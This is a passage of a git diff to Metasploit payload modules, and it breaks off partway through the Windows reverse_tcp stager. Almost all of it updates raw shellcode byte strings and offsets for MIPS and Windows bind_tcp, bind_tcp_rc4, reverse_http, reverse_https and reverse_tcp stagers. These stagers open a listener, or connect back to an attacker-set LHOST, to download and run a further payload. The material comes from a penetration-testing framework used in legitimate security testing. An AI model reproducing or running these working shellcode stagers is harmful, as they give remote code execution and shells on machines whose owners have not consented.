+      'Arch'          => ARCH_MIPSLE,
+      'Handler'       => Msf::Handler::ReverseTcp,
+      'Stager'        =>
+        {
+          'Offsets' =>
+            {
+              'LHOST' => [ [60, 56], 'ADDR16MSB' ],
+              'LPORT' => [ 48, 'n'    ],
+            },
+          'Payload' =>
+            "\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21\xfd\xff" +
+            "\xe5\x21\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01\x01\x01" +
+            "\xfc\xff\xa2\xaf\xfc\xff\xa4\x8f\xfd\xff\x0f\x24\x27\x78" +
+            "\xe0\x01\xe2\xff\xaf\xaf\x11\x5c\x0e\x34\xe4\xff\xae\xaf" +
+            "\x00\x01\x0e\x3c\x7f\x00\xce\x35\xe6\xff\xae\xaf\xe2\xff" +
+            "\xa5\x27\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24" +
+            "\x0c\x01\x01\x01\xff\xff\x04\x24\x01\x10\x05\x24\xff\xff" +
+            "\xa5\x20\xf8\xff\x09\x24\x27\x48\x20\x01\x20\x30\x20\x01" +
+            "\x02\x08\x07\x24\xea\xff\x0b\x24\x27\x58\x60\x01\x20\x58" +
+            "\xab\x03\xff\xff\x60\xad\xfb\xff\x62\xad\xfa\x0f\x02\x24" +
+            "\x0c\x01\x01\x01\xf8\xff\xa2\xaf\xfc\xff\xa4\x8f\xf8\xff" +
+            "\xa5\x8f\x01\x10\x06\x24\xff\xff\xc6\x20\xa3\x0f\x02\x24" +
+            "\x0c\x01\x01\x01\xf8\xff\xa4\x8f\x20\x28\x40\x00\xfd\xff" +
+            "\x09\x24\x27\x48\x20\x01\x20\x30\x20\x01\x33\x10\x02\x24" +
+            "\x0c\x01\x01\x01\xf8\xff\xb1\x8f\xfc\xff\xb2\x8f\x09\xf8" +
+            "\x20\x02"
+        }
+      ))
+  end
+
+end
diff --git a/modules/payloads/stagers/windows/bind_tcp.rb b/modules/payloads/stagers/windows/bind_tcp.rb
index 8bc61ad733..db9746881c 100644
--- a/modules/payloads/stagers/windows/bind_tcp.rb
+++ b/modules/payloads/stagers/windows/bind_tcp.rb
@@ -26,28 +26,32 @@ module Metasploit3
       'Stager'        =>
         {
           'RequiresMidstager' => false,
-          'Offsets' => { 'LPORT' => [ 200, 'n' ] },
+          'Offsets' => { 'LPORT' => [ 197, 'n' ] },
           'Payload' =>
-            # Length: 298 bytes
-            "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
+
+            # Name: stager_bind_tcp_nx
+            # Length: 295 bytes
+            # Port Offset: 197
+            "\xFC\xE8\x86\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
             "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
             "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
-            "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
-            "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
-            "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
-            "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
-            "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
-            "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
-            "\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07" +
-            "\xFF\xD5\xB8\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00" +
-            "\xFF\xD5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF" +
-            "\xD5\x97\x31\xDB\x53\x68\x02\x00\x11\x5C\x89\xE6\x6A\x10\x56\x57" +
-            "\x68\xC2\xDB\x37\x67\xFF\xD5\x53\x57\x68\xB7\xE9\x38\xFF\xFF\xD5" +
-            "\x53\x53\x57\x68\x74\xEC\x3B\xE1\xFF\xD5\x57\x97\x68\x75\x6E\x4D" +
-            "\x61\xFF\xD5\x6A\x00\x6A\x04\x56\x57\x68\x02\xD9\xC8\x5F\xFF\xD5" +
-            "\x8B\x36\x6A\x40\x68\x00\x10\x00\x00\x56\x6A\x00\x68\x58\xA4\x53" +
-            "\xE5\xFF\xD5\x93\x53\x6A\x00\x56\x53\x57\x68\x02\xD9\xC8\x5F\xFF" +
-            "\xD5\x01\xC3\x29\xC6\x85\xF6\x75\xEC\xC3"
+            "\x8B\x52\x10\x8B\x42\x3C\x8B\x4C\x10\x78\xE3\x4A\x01\xD1\x51\x8B" +
+            "\x59\x20\x01\xD3\x8B\x49\x18\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31" +
+            "\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8" +
+            "\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B" +
+            "\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61" +
+            "\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x89\x5D\x68\x33\x32" +
+            "\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8" +
+            "\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x50" +
+            "\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\x31" +
+            "\xDB\x53\x68\x02\x00\x11\x5C\x89\xE6\x6A\x10\x56\x57\x68\xC2\xDB" +
+            "\x37\x67\xFF\xD5\x53\x57\x68\xB7\xE9\x38\xFF\xFF\xD5\x53\x53\x57" +
+            "\x68\x74\xEC\x3B\xE1\xFF\xD5\x57\x97\x68\x75\x6E\x4D\x61\xFF\xD5" +
+            "\x6A\x00\x6A\x04\x56\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x8B\x36\x6A" +
+            "\x40\x68\x00\x10\x00\x00\x56\x6A\x00\x68\x58\xA4\x53\xE5\xFF\xD5" +
+            "\x93\x53\x6A\x00\x56\x53\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x01\xC3" +
+            "\x29\xC6\x85\xF6\x75\xEC\xC3"
+
         }
       ))
   end
diff --git a/modules/payloads/stagers/windows/bind_tcp_rc4.rb b/modules/payloads/stagers/windows/bind_tcp_rc4.rb
index 4ffa3137f4..8cb3b3f4a7 100644
--- a/modules/payloads/stagers/windows/bind_tcp_rc4.rb
+++ b/modules/payloads/stagers/windows/bind_tcp_rc4.rb
@@ -33,38 +33,44 @@ module Metasploit3
           'RequiresMidstager' => false,
           'Offsets' =>
             {
-              'LPORT'  => [ 200, 'n' ],
-              'XORKey' => [ 260, '' ],
-              'RC4Key' => [ 324, '' ]
+              'LPORT'  => [ 197, 'n' ],
+              'XORKey' => [ 257, '' ],
+              'RC4Key' => [ 321, '' ]
             },
           'Payload' =>
-            # Length: 411 bytes
-            "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
+
+            # Name: stager_bind_tcp_rc4
+            # Length: 408 bytes
+            # Port Offset: 197
+            # RC4Key Offset: 321
+            # XORKey Offset: 257
+            "\xFC\xE8\x86\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
             "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
             "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
-            "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
-            "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
-            "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
-            "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
-            "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
-            "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
-            "\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07" +
-            "\xFF\xD5\xB8\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00" +
-            "\xFF\xD5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF" +
-            "\xD5\x97\x31\xDB\x53\x68\x02\x00\x11\x5C\x89\xE6\x6A\x10\x56\x57" +
-            "\x68\xC2\xDB\x37\x67\xFF\xD5\x53\x57\x68\xB7\xE9\x38\xFF\xFF\xD5" +
-            "\x53\x53\x57\x68\x74\xEC\x3B\xE1\xFF\xD5\x57\x97\x68\x75\x6E\x4D" +
-            "\x61\xFF\xD5\x6A\x00\x6A\x04\x56\x57\x68\x02\xD9\xC8\x5F\xFF\xD5" +
-            "\x8B\x36\x81\xF6\x58\x4F\x52\x4B\x8D\x0E\x6A\x40\x68\x00\x10\x00" +
-            "\x00\x51\x6A\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x8D\x98\x00\x01\x00" +
-            "\x00\x53\x56\x50\x6A\x00\x56\x53\x57\x68\x02\xD9\xC8\x5F\xFF\xD5" +
-            "\x01\xC3\x29\xC6\x85\xF6\x75\xEC\x5B\x59\x5D\x55\x57\x89\xDF\xE8" +
-            "\x10\x00\x00\x00\x52\x43\x34\x4B\x65\x79\x4D\x65\x74\x61\x73\x70" +
-            "\x6C\x6F\x69\x74\x5E\x31\xC0\xAA\xFE\xC0\x75\xFB\x81\xEF\x00\x01" +
-            "\x00\x00\x31\xDB\x02\x1C\x07\x89\xC2\x80\xE2\x0F\x02\x1C\x16\x8A" +
-            "\x14\x07\x86\x14\x1F\x88\x14\x07\xFE\xC0\x75\xE8\x31\xDB\xFE\xC0" +
-            "\x02\x1C\x07\x8A\x14\x07\x86\x14\x1F\x88\x14\x07\x02\x14\x1F\x8A" +
-            "\x14\x17\x30\x55\x00\x45\x49\x75\xE5\x5F\xC3"
+            "\x8B\x52\x10\x8B\x42\x3C\x8B\x4C\x10\x78\xE3\x4A\x01\xD1\x51\x8B" +
+            "\x59\x20\x01\xD3\x8B\x49\x18\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31" +
+            "\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8" +
+            "\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B" +
+            "\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61" +
+            "\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x89\x5D\x68\x33\x32" +
+            "\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8" +
+            "\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x50" +
+            "\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\x31" +
+            "\xDB\x53\x68\x02\x00\x11\x5C\x89\xE6\x6A\x10\x56\x57\x68\xC2\xDB" +
+            "\x37\x67\xFF\xD5\x53\x57\x68\xB7\xE9\x38\xFF\xFF\xD5\x53\x53\x57" +
+            "\x68\x74\xEC\x3B\xE1\xFF\xD5\x57\x97\x68\x75\x6E\x4D\x61\xFF\xD5" +
+            "\x6A\x00\x6A\x04\x56\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x8B\x36\x81" +
+            "\xF6\x58\x4F\x52\x4B\x8D\x0E\x6A\x40\x68\x00\x10\x00\x00\x51\x6A" +
+            "\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x8D\x98\x00\x01\x00\x00\x53\x56" +
+            "\x50\x6A\x00\x56\x53\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x01\xC3\x29" +
+            "\xC6\x85\xF6\x75\xEC\x5B\x59\x5D\x55\x57\x89\xDF\xE8\x10\x00\x00" +
+            "\x00\x52\x43\x34\x4B\x65\x79\x4D\x65\x74\x61\x73\x70\x6C\x6F\x69" +
+            "\x74\x5E\x31\xC0\xAA\xFE\xC0\x75\xFB\x81\xEF\x00\x01\x00\x00\x31" +
+            "\xDB\x02\x1C\x07\x89\xC2\x80\xE2\x0F\x02\x1C\x16\x8A\x14\x07\x86" +
+            "\x14\x1F\x88\x14\x07\xFE\xC0\x75\xE8\x31\xDB\xFE\xC0\x02\x1C\x07" +
+            "\x8A\x14\x07\x86\x14\x1F\x88\x14\x07\x02\x14\x1F\x8A\x14\x17\x30" +
+            "\x55\x00\x45\x49\x75\xE5\x5F\xC3"
+
         }
       ))
 
@@ -75,7 +81,7 @@ module Metasploit3
 
   def generate_stage
     p = super
-    m = OpenSSL::Digest::Digest.new('sha1')
+    m = OpenSSL::Digest.new('sha1')
     m.reset
     key = m.digest(datastore["RC4PASSWORD"] || "")
     c1 = OpenSSL::Cipher::Cipher.new('RC4')
@@ -87,7 +93,7 @@ module Metasploit3
 
   def internal_generate
     p = super
-    m = OpenSSL::Digest::Digest.new('sha1')
+    m = OpenSSL::Digest.new('sha1')
     m.reset
     key = m.digest(datastore["RC4PASSWORD"] || "")
     p[offsets['XORKey'][0], 4] = key[0,4]
diff --git a/modules/payloads/stagers/windows/reverse_http.rb b/modules/payloads/stagers/windows/reverse_http.rb
index dab4f927fc..505f889864 100644
--- a/modules/payloads/stagers/windows/reverse_http.rb
+++ b/modules/payloads/stagers/windows/reverse_http.rb
@@ -29,30 +29,37 @@ module Metasploit3
             {
               # Disabled since it MUST be ExitProcess to work on WoW64 unless we add EXITFUNK support (too big right now)
               # 'EXITFUNC' => [ 290, 'V' ],
-              'LPORT'    => [ 190, 'v' ], # Not a typo, really little endian
+              'LPORT'    => [ 180, 'v' ], # Not a typo, really little endian
             },
           'Payload' =>
-              "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
-              "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
-              "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
-              "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
-              "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
-              "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
-              "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
-              "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
-              "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
-              "\x68\x6E\x65\x74\x00\x68\x77\x69\x6E\x69\x54\x68\x4C\x77\x26\x07" +
-              "\xFF\xD5\x31\xFF\x57\x57\x57\x57\x6A\x00\x54\x68\x3A\x56\x79\xA7" +
-              "\xFF\xD5\xEB\x4B\x5B\x31\xC9\x51\x51\x6A\x03\x51\x51\x68\x5C\x11" +
-              "\x00\x00\x53\x50\x68\x57\x89\x9F\xC6\xFF\xD5\xEB\x34\x59\x31\xD2" +
-              "\x52\x68\x00\x02\x60\x84\x52\x52\x52\x51\x52\x50\x68\xEB\x55\x2E" +
-              "\x3B\xFF\xD5\x89\xC6\x6A\x10\x5B\x31\xFF\x57\x57\x57\x57\x56\x68" +
-              "\x2D\x06\x18\x7B\xFF\xD5\x85\xC0\x75\x1A\x4B\x74\x10\xEB\xE9\xEB" +
-              "\x49\xE8\xC7\xFF\xFF\xFF\x2F\x31\x32\x33\x34\x35\x00\x68\xF0\xB5" +
-              "\xA2\x56\xFF\xD5\x6A\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00" +
-              "\x57\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x53\x89\xE7\x57\x68\x00" +
-              "\x20\x00\x00\x53\x56\x68\x12\x96\x89\xE2\xFF\xD5\x85\xC0\x74\xCD" +
-              "\x8B\x07\x01\xC3\x85\xC0\x75\xE5\x58\xC3\xE8\x65\xFF\xFF\xFF"
+
+            # Built on Tue Feb  4 11:36:42 2014
+            # Name: stager_reverse_http
+            # Length: 317 bytes
+            # LEPort Offset: 180
+            # ExitFunk Offset: 238
+            "\xFC\xE8\x86\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
+            "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
+            "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
+            "\x8B\x52\x10\x8B\x42\x3C\x8B\x4C\x10\x78\xE3\x4A\x01\xD1\x51\x8B" +
+            "\x59\x20\x01\xD3\x8B\x49\x18\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31" +
+            "\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8" +
+            "\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B" +
+            "\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61" +
+            "\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x89\x5D\x68\x6E\x65" +
+            "\x74\x00\x68\x77\x69\x6E\x69\x54\x68\x4C\x77\x26\x07\xFF\xD5\x31" +
+            "\xDB\x53\x53\x53\x53\x53\x68\x3A\x56\x79\xA7\xFF\xD5\x53\x53\x6A" +
+            "\x03\x53\x53\x68\x5C\x11\x00\x00\xEB\x3A\x50\x68\x57\x89\x9F\xC6" +
+            "\xFF\xD5\x53\x68\x00\x02\x60\x84\x53\x53\x53\xEB\x29\x53\x50\x68" +
+            "\xEB\x55\x2E\x3B\xFF\xD5\x96\x6A\x10\x5F\x53\x53\x53\x53\x56\x68" +
+            "\x2D\x06\x18\x7B\xFF\xD5\x85\xC0\x75\x18\x4F\x75\xED\x68\xF0\xB5" +
+            "\xA2\x56\xFF\xD5\xEB\x42\xE8\xD2\xFF\xFF\xFF\x2F\x31\x32\x33\x34" +
+            "\x35\x00\x6A\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x53\x68" +
+            "\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x53\x89\xE7\x57\x68\x00\x20\x00" +
+            "\x00\x53\x56\x68\x12\x96\x89\xE2\xFF\xD5\x85\xC0\x74\xBF\x8B\x07" +
+            "\x01\xC3\x85\xC0\x75\xE5\x58\xC3\xE8\x7D\xFF\xFF\xFF"
+
+
         }
       ))
   end
diff --git a/modules/payloads/stagers/windows/reverse_https.rb b/modules/payloads/stagers/windows/reverse_https.rb
index 75285f24ca..7c7d449b8f 100644
--- a/modules/payloads/stagers/windows/reverse_https.rb
+++ b/modules/payloads/stagers/windows/reverse_https.rb
@@ -29,32 +29,38 @@ module Metasploit3
             {
               # Disabled since it MUST be ExitProcess to work on WoW64 unless we add EXITFUNK support (too big right now)
               # 'EXITFUNC' => [ 290, 'V' ],
-              'LPORT'    => [ 190, 'v' ], # Not a typo, really little endian
+              'LPORT'    => [ 180, 'v' ], # Not a typo, really little endian
             },
           'Payload' =>
-            "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
+
+            # Built on Tue Feb  4 11:36:42 2014
+            # Name: stager_reverse_https
+            # Length: 337 bytes
+            # LEPort Offset: 180
+            # ExitFunk Offset: 258
+            "\xFC\xE8\x86\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
             "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
             "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
-            "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
-            "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
-            "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
-            "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
-            "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
-            "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
-            "\x68\x6E\x65\x74\x00\x68\x77\x69\x6E\x69\x54\x68\x4C\x77\x26\x07" +
-            "\xFF\xD5\x31\xFF\x57\x57\x57\x57\x6A\x00\x54\x68\x3A\x56\x79\xA7" +
-            "\xFF\xD5\xEB\x5F\x5B\x31\xC9\x51\x51\x6A\x03\x51\x51\x68\x5C\x11" +
-            "\x00\x00\x53\x50\x68\x57\x89\x9F\xC6\xFF\xD5\xEB\x48\x59\x31\xD2" +
-            "\x52\x68\x00\x32\xA0\x84\x52\x52\x52\x51\x52\x50\x68\xEB\x55\x2E" +
-            "\x3B\xFF\xD5\x89\xC6\x6A\x10\x5B\x68\x80\x33\x00\x00\x89\xE0\x6A" +
-            "\x04\x50\x6A\x1F\x56\x68\x75\x46\x9E\x86\xFF\xD5\x31\xFF\x57\x57" +
-            "\x57\x57\x56\x68\x2D\x06\x18\x7B\xFF\xD5\x85\xC0\x75\x1A\x4B\x74" +
-            "\x10\xEB\xD5\xEB\x49\xE8\xB3\xFF\xFF\xFF\x2F\x31\x32\x33\x34\x35" +
-            "\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x6A\x40\x68\x00\x10\x00\x00\x68" +
-            "\x00\x00\x40\x00\x57\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x53\x89" +
-            "\xE7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xE2\xFF\xD5" +
-            "\x85\xC0\x74\xCD\x8B\x07\x01\xC3\x85\xC0\x75\xE5\x58\xC3\xE8\x51" +
-            "\xFF\xFF\xFF"
+            "\x8B\x52\x10\x8B\x42\x3C\x8B\x4C\x10\x78\xE3\x4A\x01\xD1\x51\x8B" +
+            "\x59\x20\x01\xD3\x8B\x49\x18\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31" +
+            "\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8" +
+            "\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B" +
+            "\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61" +
+            "\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x89\x5D\x68\x6E\x65" +
+            "\x74\x00\x68\x77\x69\x6E\x69\x54\x68\x4C\x77\x26\x07\xFF\xD5\x31" +
+            "\xDB\x53\x53\x53\x53\x53\x68\x3A\x56\x79\xA7\xFF\xD5\x53\x53\x6A" +
+            "\x03\x53\x53\x68\x5C\x11\x00\x00\xEB\x4E\x50\x68\x57\x89\x9F\xC6" +
+            "\xFF\xD5\x53\x68\x00\x32\xE0\x84\x53\x53\x53\xEB\x3D\x53\x50\x68" +
+            "\xEB\x55\x2E\x3B\xFF\xD5\x96\x6A\x10\x5F\x68\x80\x33\x00\x00\x89" +
+            "\xE0\x6A\x04\x50\x6A\x1F\x56\x68\x75\x46\x9E\x86\xFF\xD5\x53\x53" +
+            "\x53\x53\x56\x68\x2D\x06\x18\x7B\xFF\xD5\x85\xC0\x75\x18\x4F\x75" +
+            "\xD9\x68\xF0\xB5\xA2\x56\xFF\xD5\xEB\x42\xE8\xBE\xFF\xFF\xFF\x2F" +
+            "\x31\x32\x33\x34\x35\x00\x6A\x40\x68\x00\x10\x00\x00\x68\x00\x00" +
+            "\x40\x00\x53\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x53\x89\xE7\x57" +
+            "\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xE2\xFF\xD5\x85\xC0" +
+            "\x74\xBF\x8B\x07\x01\xC3\x85\xC0\x75\xE5\x58\xC3\xE8\x69\xFF\xFF" +
+            "\xFF"
+
         }
       ))
   end
diff --git a/modules/payloads/stagers/windows/reverse_https_proxy.rb b/modules/payloads/stagers/windows/reverse_https_proxy.rb
index 5c490fb7b7..72de85106c 100644
--- a/modules/payloads/stagers/windows/reverse_https_proxy.rb
+++ b/modules/payloads/stagers/windows/reverse_https_proxy.rb
@@ -100,7 +100,7 @@ module Metasploit3
     p[proxyloc-4] = [calloffset].pack('V')[0]
 
     #Optional authentification
-    if 	(datastore['PROXY_USERNAME'].nil? or datastore['PROXY_USERNAME'].empty?) or
+    if (datastore['PROXY_USERNAME'].nil? or datastore['PROXY_USERNAME'].empty?) or
       (datastore['PROXY_PASSWORD'].nil? or datastore['PROXY_PASSWORD'].empty?) or
       datastore['PROXY_TYPE'] == 'SOCKS'
 
@@ -110,7 +110,7 @@ module Metasploit3
     else
       username_size_diff = 14 - datastore['PROXY_USERNAME'].length
       password_size_diff = 14 - datastore['PROXY_PASSWORD'].length
-      jmp_offset = 	16 + #PROXY_AUTH_START length
+      jmp_offset = 16 + #PROXY_AUTH_START length
           15 + #PROXY_AUTH_STOP length
           username_size_diff + # difference between datastore PROXY_USERNAME length  and db "PROXY_USERNAME length"
           password_size_diff   # same with PROXY_PASSWORD
@@ -132,7 +132,7 @@ module Metasploit3
     p[p.length - 4, 4] = [p[p.length - 4, 4].unpack("l")[0] + jmp_offset].pack("V")
 
     # patch the LPORT
-    lport = bind_port
+    lport = datastore['LPORT']
 
     lportloc = p.index("\x68\x5c\x11\x00\x00")  # PUSH DWORD 4444
     p[lportloc+1] = [lport.to_i].pack('V')[0]
@@ -142,7 +142,7 @@ module Metasploit3
 
     # append LHOST and return payload
 
-    lhost = bind_address
+    lhost = datastore['LHOST']
     p + lhost.to_s + "\x00"
 
   end
@@ -154,32 +154,5 @@ module Metasploit3
     20
   end
 
-protected
-
-  def bind_port
-    port = datastore['ReverseListenerBindPort'].to_i
-    port > 0 ? port : datastore['LPORT'].to_i
-  end
-
-  def bind_address
-    # Switch to IPv6 ANY address if the LHOST is also IPv6
-    addr = Rex::Socket.resolv_nbo(datastore['LHOST'])
-    # First attempt to bind LHOST. If that fails, the user probably has
-    # something else listening on that interface. Try again with ANY_ADDR.
-    any = (addr.length == 4) ? "0.0.0.0" : "::0"
-
-    addrs = [ Rex::Socket.addr_ntoa(addr), any  ]
-
-    if not datastore['ReverseListenerBindAddress'].to_s.empty?
-      # Only try to bind to this specific interface
-      addrs = [ datastore['ReverseListenerBindAddress'] ]
-
-      # Pick the right "any" address if either wildcard is used
-      addrs[0] = any if (addrs[0] == "0.0.0.0" or addrs == "::0")
-    end
-
-    addrs
-  end
-
 end
 
diff --git a/modules/payloads/stagers/windows/reverse_tcp.rb b/modules/payloads/stagers/windows/reverse_tcp.rb
index df9706e0fe..a29d93a75c 100644
--- a/modules/payloads/stagers/windows/reverse_tcp.rb
+++ b/modules/payloads/stagers/windows/reverse_tcp.rb
@@ -26,28 +26,35 @@ module Metasploit3
       'Stager'        =>
         {
           'RequiresMidstager' => false,
-          'Offsets' => { 'LHOST' => [ 197, 'ADDR' ], 'LPORT' => [ 204, 'n' ], 'ReverseConnectRetries' => [ 195, 'C'] },
+          'Offsets' => { 'LHOST' => [ 194, 'ADDR' ], 'LPORT' => [ 201, 'n' ], 'ReverseConnectRetries' => [ 192, 'C'] },
           'Payload' =>
-            # Length: 290 bytes
-            "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
+            # Built on Tue Jan 14 03:04:51 2014
+
+            # Name: stager_reverse_tcp_nx
+            # Length: 287 bytes
+            # Port Offset: 201
+            # Host Offset: 194
+            # RetryCounter Offset: 192
+            # ExitFunk Offset: 226
+            "\xFC\xE8\x86\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
             "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
